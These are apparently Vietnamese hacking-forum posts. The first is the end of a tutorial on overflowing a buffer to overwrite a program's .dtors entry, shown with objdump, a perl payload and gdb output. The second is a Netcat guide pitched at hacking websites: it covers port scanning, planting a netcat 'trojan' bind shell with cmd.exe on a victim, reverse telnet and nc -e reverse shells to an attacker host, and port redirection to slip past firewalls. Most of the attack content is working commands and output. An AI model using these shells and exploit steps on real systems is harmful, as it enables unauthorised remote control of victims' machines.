$ objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
804955c ffffffff 00000000 ........
Chỉ có các tag bắt đầu và kết thúc, không có địa chỉ hàm nào được mô tả ở đây.
Có thể thấy là hơi kỳ quặc khi ở trên ta khai báo biến "buf" vừa là static lại
vừa được khởi trị. Bằng cách này chúng ta sẽ làm buf được lưu trong vùng
.data, rất gần với vùng .dtors ta đang nhắm tới. Nhờ đó chúng ta có thể đạt
được mục đích dễ dàng bằng cách làm tràn bộ đệm buf. Đây không phải là con
đường duy nhất để ghi lên vùng .dtors, gần như mọi cách bạn có thể thực hiện
để ghi lên không gian bộ nhớ của tiến trình đều dùng được (tấn công bằng định
dạng chuỗi, strcpy trực tiếp bằng cách trở về hàm libc, làm hỏng malloc chunk,
...). Cách được chọn sử dụng ở đây là một cách đơn giản nhằm để minh hoạ.
Mục tiêu bây giờ là làm thế nào có thể thực thi đoạn mã trong hàm bleh() (sẽ
không bao giờ được gọi trong điều kiện bình thường) bằng cách tạo một entry
trong .dtors trỏ đến nó. Để đạt được điều đó chúng ta sẽ không đụng đến tag
bắt đầu và chỉ ghi đè lên tag kết thúc (0x00000000).
$ objdump --syms bleh | egrep 'text.*bleh'
080484b0 l F .text 0000001a bleh
Có thể thấy hàm bleh() có địa chỉ 0x080484b0. Hãy bắt đầu khai thác lỗ hổng:
$ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'`
goffio!
Segmentation fault (core dumped)
Thử nghiệm đã thành công như chúng ta mong đợi, nhưng có lẽ tốt hơn là nên xem
xét kỹ lưỡng core do tiến trình tạo ra và xem những gì đã bị thay đổi.
$ gdb bleh core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAA°
'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40013ed8 in ?? ()
(gdb) bt
#0 0x40013ed8 in ?? ()
#1 0x8048521 in _fini ()
#2 0x4003c25a in exit (status=0) at exit.c:57
#3 0x80484a3 in main ()
#4 0x400339cb in __libc_start_main (main=0x8048460 <main>, argc=2,
argv=0xbffff8a4, init=0x80482e0 <_init>, fini=0x804850c <_fini>,
rtld_fini=0x4000ae60 <_dl_fini>, stack_end=0xbffff8
9c) at ../sysdeps/generic/libc-start.c:92
(gdb) maintenance info sections
Exec file:
`/home/rwx/tmp/bleh', file type elf32-i386.
.
.
.
0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA HAS_CONTENTS
0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS
.
.
.
Chúng ta sẽ xem xét những gì đã bị ghi đè
(gdb) x/x 0x08049550
0x8049550 <force_to_data>: 0x41414141
Đây là nội dung của vùng .eh_frame (gcc sử dụng để lưu các con trỏ xử lý biệt
lệ (exception) cho các ngôn ngữ có hỗ trợ chúng)
(gdb) x/x 0x08049554
0x8049554 <__CTOR_LIST__>: 0x41414141
(gdb) x/8x 0x0804955c
0x804955c <__DTOR_LIST__>: 0x41414141 0x080484b0 0x08049500
0x40013ed0
0x804956c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fb550 0x08048
336 0x400338cc
(gdb)
Như đã thấy, chúng ta không quan tâm đặt tag bắt đầu 0xfffffff ở vị trí tương
ứng của nó và điều đó hoàn toàn không cần thiết, chỉ cần đặt địa chỉ của
bleh() vào đúng chỗ, chúng ta sẽ làm đoạn mã được thực thi. Cũng lưu ý rằng
tiến trình bị segfault ngay sau _fini(), điều này rõ ràng là do nó tiếp tục
tìm đến tag kết thúc (0x00000000) - lúc này đã không còn tồn tại - và nhảy đến
các địa chỉ kế tiếp ngay sau địa chỉ của bleh() (các địa chỉ này được xác định
trong bảng GOT - Global Offset Table).
Kết luận
--------
Bài viết đã trình bày một cách khác để thực thi các đoạn shellcode được chèn
vào chương trình. Kỹ thuật này có một số ưu điểm:
* Nếu file thực thi có thể đọc được, sẽ rất dễ để xác định chính xác vị
trí chúng ta muốn ghi vào và trỏ đến đoạn shellcode, chỉ cần xem file
thực thi dạng ELF và xác định vị trí của vùng .dtors là đủ. Trong trường
hợp này tính tin cậy (khả năng thành công) của trình khai thác lỗi tăng
lên đáng kể.
* Đơn giản hơn so với các kỹ thuật khác như ghi đè một entry trong bảng
GOT.
Và những nhược điểm:
* Chương trình bị lỗi phải được biên dịch và liên kết bằng GNU gcc
* Trong một số trường hợp có thể gặp khó khăn để tìm một nơi để chứa
shellcode cho đến khi chương trình thoát ra.
Have fun!
|
|
|
Hướng dẫn sử dụng Netcat
1. Giới thiệu
Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một website nào đó. Vì vậy bạn cần biết một chút về Netcat
--------------------------------------------------------------------------------
2. Biên dịch
Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ vậy giải nén và chạy là xong.
--------------------------------------------------------------------------------
3. Các tùy chọn của Netcat
Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
C:\>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
* Cú pháp:
- chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]
* Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên(random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP(mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port
Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080
--------------------------------------------------------------------------------
4. Các ví dụ:
4.1 Chộp banner của web server
Ví dụ: nc đến 172.16.84.2, cổng 80
C:\>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)
HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2
OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html
Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v(-vv sẽ cho biết các thông tin chi tiết hơn nữa)
C:\>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK
Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:
nc -vv -o nhat_ki.log 172.16.84.2 80
- xem file nhat_ki.log
< 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK.
< 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # .Date: Fri, 04 F
< 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54
< 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT..Server: Ap
< 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win
< 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32)..Last-Modifi
< 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb
< 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM
< 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T..ETag: "0-cec-
< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea"..Accep
< 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes.
< 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # .Content-Length:
< 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308..Connectio
< 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close..Conten
< 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm
< 000000f0 6c 0d 0a 0d 0a # l....
dấu < nghĩa là server gởi đến netcat
dấu > nghĩa là netcat gởi đến server
4.2 Quét cổng
- chạy netcat với tùy chọn -z. Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS. Ví dụ để scan các cổng TCP(1->500) của host 172.16.106.1
[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.106.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open
- nếu bạn cần scan các cổng UDP, dùng -u
[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
4.3 Biến Netcat thành một trojan
- trên máy tính của nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) và -p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành 1 chương trình khi có 1 kết nối đến, thường là shell lệnh cmd.exe(đối với NT) hoặc /bin/sh(đối với Unix). Ví dụ:
E:\>nc -nvv -l -p 8080 -e cmd.exe
listening on [any] 8080 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159
sent 0, rcvd 0: unknown socket error
- trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080
C:\>nc -nvv 172.16.84.2 8080
(UNKNOWN) [172.16.84.2] 8080 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>cd test
cd test
E:\test>dir /w
dir /w
Volume in drive E has no label.
Volume Serial Number is B465-452F
Directory of E:\test
[.] [..] head.log NETUSERS.EXE NetView.exe
ntcrash.zip password.txt pwdump.exe
6 File(s) 262,499 bytes
2 Dir(s) 191,488,000 bytes free
C:\test>exit
exit
sent 20, rcvd 450: NOTSOCK
Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn. Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho -l. Lưu ý: -L chỉ có thể áp dụng cho bản Netcat for Windows, không áp dụng cho bản chạy trên Linux.
E:\>nc -nvv -L -p 8080 -e cmd.exe
listening on [any] 8080 ...
- Riêng đối với Netcat cho Win, bạn có thể lắng nghe ngay trên cổng đang lắng nghe. Chỉ cần chỉ định địa chỉ nguồn là -s <địa_chỉ_ip_của_máy_này>. Ví dụ:
netstat -a
...
TCP nan_nhan:domain nan_nhan:0 LISTENING <- cổng 53 đang lắng nghe
...
E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53
listening on [172.16.84.1] 53 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163
- Trên Windows NT, để đặt Netcat ở chế độ lắng nghe, không cần phải có quyền Administrator, chỉ cần login vào với 1 username bình thường khởi động Netcat là xong.
- Chú ý: bạn không thể chạy netcat với ... -u -e cmd.exe... hoặc ...-u -e /bin/sh... vì netcat sẽ không làm việc đúng. Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat.
--------------------------------------------------------------------------------
5. Kĩ thuật tiên tiến
5.1 Telnet nghịch chuuyển
- dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và gởi kết quả vào cửa sổ kia. Ví dụ:
- trên máy dùng để tấn công(172.16.84.1), mở 2 cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:
+ cửa sổ Netcat (1)
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
connect to [172.16.84.1] from <UNKNOWN> [172.16.84.2] 1055
pwd
ls -la
_
+ cửa sổ Netcat (2)
C:\>nc -nvv -l -p 25
listening on [any] 25 ...
connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056
/
total 171
drwxr-xr-x 17 root root 4096 Feb 5 16:15 .
drwxr-xr-x 17 root root 4096 Feb 5 16:15 ..
drwxr-xr-x 2 root root 4096 Feb 5 08:55 b ( ²?n
drwxr-xr-x 3 root root 4096 Feb 5 14:19 boot
drwxr-xr-x 13 root root 106496 Feb 5 14:18 dev
drwxr-xr-x 37 root root 4096 Feb 5 14:23 et = ²?
drwxr-xr-x 6 root root 4096 Feb 5 08:58 home
drwxr-xr-x 6 root root 4096 Feb 5 08:50 l ( ²?b
drwxr-xr-x 2 root root 7168 De = ²? 31 1969 mnt
drwxr-xr-x 4 root root 4096 Feb 5 16:18 n = ²?
drwxr-xr-x 2 root root 4096 Aug 23 12:03 opt
dr-xr-xr-x 61 root root 0 Feb 5 09:18 pro = ²?
drwx------ 12 root root 4096 Feb 5 16:24 root
drwxr-xr-x 2 root root 4096 Feb 5 08:55 sb ( ²?n
drwxrwxrwt 9 root root 4096 Feb 5 16:25 tmp
drwxr-xr-x 13 root root 4096 Feb 5 08:42 usr
drwxr-xr-x 18 root root 4096 Feb 5 08:52 var
- trên máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất:
[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25
/bin/sh: Trying: command not found
/bin/sh: Connected: command not found
/bin/sh: Escape: command not found
Trying 172.16.84.1...
Connected to 172.16.84.1.
Escape character is '^]'.
_
Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà chúng ta gõ vào trong cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành. Kết quả của /bin/sh được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25. Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2).
Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc.
5.2 Tạo kênh sau
Cũng tương tự như telnet nghịch chuyển.
- trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng này sẽ không bị firewall chặn:
C:\>nc -nvv -l -p 80
listennng on [any] 80 ...
- tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy dùng để tấn công với tùy chọn -e để đổ shell:
E:\>nc -e cmd.exe 172.16.84.1 80
Một khi máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc sẽ được tạo, "nhét" shell (trong trường hợp này là cmd.exe) trở vào nc. Kể từ đây, chúng ta đã có 1 shell lệnh ảo.
C:\>nc -nvv -l -p 80
listenning pm [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:\>
5.3 Đổi hướng cổng
Bạn có thể dùng tunnel.pl hoặc fpipe.exe. Hãy xem ví dụ sau:
- chạy nc trên cổng bất kì:
E:\>nc -nvv -L -p 1234 -e cmd.exe
listening on [any] 1234 ...
- chạy tunnel hoặc fpipe để đổi hướng cổng
C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234
C:\>fpipe -l 53 -r 1234 127.0.0.1
tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.
Đổi hướng cổng là một cách để đi vòng qua firewalls.
--------------------------------------------------------------------------------
6. Kết luận:
Netcat rất tuyệt!
- Vicki -
|
|
|
Giờ bắt đầu post lại bài đây anh.
|
|
|
|
|
|
|